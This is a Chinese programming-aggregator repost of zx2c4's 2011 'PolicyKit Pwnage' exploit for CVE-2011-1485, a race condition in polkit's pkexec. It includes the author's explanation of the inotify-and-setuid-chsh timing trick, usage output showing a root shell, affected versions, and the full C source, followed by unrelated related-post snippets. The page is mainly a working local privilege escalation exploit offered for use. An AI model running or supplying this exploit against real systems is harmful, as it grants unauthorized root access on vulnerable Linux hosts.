linux polkitd 漏洞,CVE-2011-1485 Red Hat PolicyKit pkexec功能和polkitd守护进程竞争条件漏洞-漏洞情报、漏洞详情、安全漏洞、CVE – 安全客…「建议收藏」

linux polkitd 漏洞,CVE-2011-1485 Red Hat PolicyKit pkexec功能和polkitd守护进程竞争条件漏洞-漏洞情报、漏洞详情、安全漏洞、CVE – 安全客…「建议收藏」/*polkit-pwnage.c***==============================*=PolicyKitPwnage=*=byzx2c4=*=Sept2,2011=*==============================***Howdyfolks,**T…

大家好,又见面了,我是你们的朋友全栈君。

/* polkit-pwnage.c

*

*

* ==============================

* = PolicyKit Pwnage =

* = by zx2c4 =

* = Sept 2, 2011 =

* ==============================

*

*

* Howdy folks,

*

* This exploits CVE-2011-1485, a race condition in PolicyKit.

*

* davidz25 explains:

*

* –begin–

* Briefly, the problem is that the UID for the parent process of pkexec(1) is

* read from /proc by stat(2)’ing /proc/PID. The problem with this is that

* this returns the effective uid of the process which can easily be set to 0

* by invoking a setuid-root binary such as /usr/bin/chsh in the parent

* process of pkexec(1). Instead we are really interested in the real-user-id.

* While there’s a check in pkexec.c to avoid this problem (by comparing it to

* what we expect the uid to be – namely that of the pkexec.c process itself which

* is the uid of the parent process at pkexec-spawn-time), there is still a short

* window where an attacker can fool pkexec/polkitd into thinking that the parent

* process has uid 0 and is therefore authorized. It’s pretty hard to hit this

* window – I actually don’t know if it can be made to work in practice.

* –end–

*

* Well, here is, in fact, how it’s made to work in practice. There is as he said an

* attempted mitigation, and the way to trigger that mitigation path is something

* like this:

*

* $ sudo -u `whoami` pkexec sh

* User of caller (0) does not match our uid (1000)

*

* Not what we want. So the trick is to execl to a suid at just the precise moment

* /proc/PID is being stat(2)’d. We use inotify to learn exactly when it’s accessed,

* and execl to the suid binary as our very next instruction.

*

* ** Usage **

* $ pkexec –version

* pkexec version 0.101

* $ gcc polkit-pwnage.c -o pwnit

* $ ./pwnit

* [+] Configuring inotify for proper pid.

* [+] Launching pkexec.

* sh-4.2# whoami

* root

* sh-4.2# id

* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

* sh-4.2#

*

* ** Targets **

* This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which

* as of writing uses 0.101, has backported 0.102’s bug fix. A way to check

* this is by looking at the mtime of /usr/bin/pkexec — April 22, 2011 or

* later and you’re out of luck. It’s likely other distributions do the same.

* Fortunately, this exploit is clean enough that you can try it out without

* too much collateral.

*

*

* greets to djrbliss and davidz25.

*

* – zx2c4

* 2-sept-2011

*

*/

#include

#include

#include

#include

#include

#include

int main(int argc, char **argv)

{

printf(“=============================\n”);

printf(“= PolicyKit Pwnage =\n”);

printf(“= by zx2c4 =\n”);

printf(“= Sept 2, 2011 =\n”);

printf(“=============================\n\n”);

if (fork()) {

int fd;

char pid_path[1024];

sprintf(pid_path, “/proc/%i”, getpid());

printf(“[+] Configuring inotify for proper pid.\n”);

close(0); close(1); close(2);

fd = inotify_init();

if (fd < 0)

perror(“[-] inotify_init”);

inotify_add_watch(fd, pid_path, IN_ACCESS);

read(fd, NULL, 0);

execl(“/usr/bin/chsh”, “chsh”, NULL);

} else {

sleep(1);

printf(“[+] Launching pkexec.\n”);

execl(“/usr/bin/pkexec”, “pkexec”, “/bin/sh”, NULL);

}

return 0;

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/148178.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • unity摄像机深度图使用[通俗易懂]

    unity摄像机深度图使用[通俗易懂]https://www.jianshu.com/p/80a932d1f11ehttps://www.jianshu.com/p/178f3a065187https://www.cnblogs.com/czaoth/p/5830735.htmlhttps://www.cnblogs.com/jackmaxwell/p/7117909.htmlhttps://docs.unity3d.com/…

    2022年4月25日
  • gawk

    gawk简介awk报告生成器,作用格式化文本输出:awk分为awk.nawk.gawk。但是linux上的awk为gawk基本用法gawk[options]'program'

    2022年8月3日
  • Java重置_java设置定时任务一小时执行一次

    Java重置_java设置定时任务一小时执行一次我想有一个java.utils.Timer与一个可重置时间在java.I需要设置一次off事件发生在X秒。如果在创建定时器的时间和X秒之间没有发生任何事情,则事件会正常发生。然而,如果在X秒之前,我决定该事件应该发生在Y秒后,然后我想要能够告诉定时器重置其时间,以便事件发生在Y秒。例如。定时器应该能够做以下事情:Timertimer=newTimer();timer.schedule(ti…

    2022年9月18日
  • 深度学习的深度和宽度的理解[通俗易懂]

    深度学习的深度和宽度的理解[通俗易懂]文章目录1.深度1.1为什么加深可以提升性能1.1.1更好拟合特征1.1.2网络更深,每一层要做的事情也更加简单1.2如何定量评估深度与模型性能1.2.1直接法1.2.2间接法1.3加深就一定更好吗?1.3.1加深带来的优化问题1.3.2网络加深带来的饱和2.宽度2.1为什么需要足够的宽度2.2网路到底需要多宽2.2.1网络宽度的下限在哪?2.2.2网络宽度对模型性能的影响2.2.3网络宽度和深度哪个更重要?2.3如何更加有效地利用宽度2.3.1提高每一层的通道的利用率

    2022年5月11日
  • wxpython中文教程_wxPython中文教程 简单入门加实例

    wxpython中文教程_wxPython中文教程 简单入门加实例原博文2015-04-2906:56−wx.Window是一个基类,许多构件从它继承。包括wx.Frame构件。技术上这意味着,我们可以在所有的子类中使用wx.Window的方法。我们这里介绍它的几种方法:*SetTitle(stringtitle)——设置窗口标题。只可用…相关推荐2008-11-2312:00−一、简介wxPython是Pytho…

    2022年5月21日
  • java取整函数

    向上取整Math.ceil()向上取整:比自己大的最小整数ceil是天花板的意思,表示向上取整,用数学符号⌈⌉表示Math.ceil(6.1)=7.0Math.ceil(6.9)=7.0向下取整Math.floor()向下取整:比自己小的最大整数floor是地板的意思,表示向下取整,用数学符号⌊⌋表示Math.floor(9.1)=9.0Math.floor(9.9)=10.0Math.round()四舍五入后取整,其算法为Math.round(x+0

    2022年4月8日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号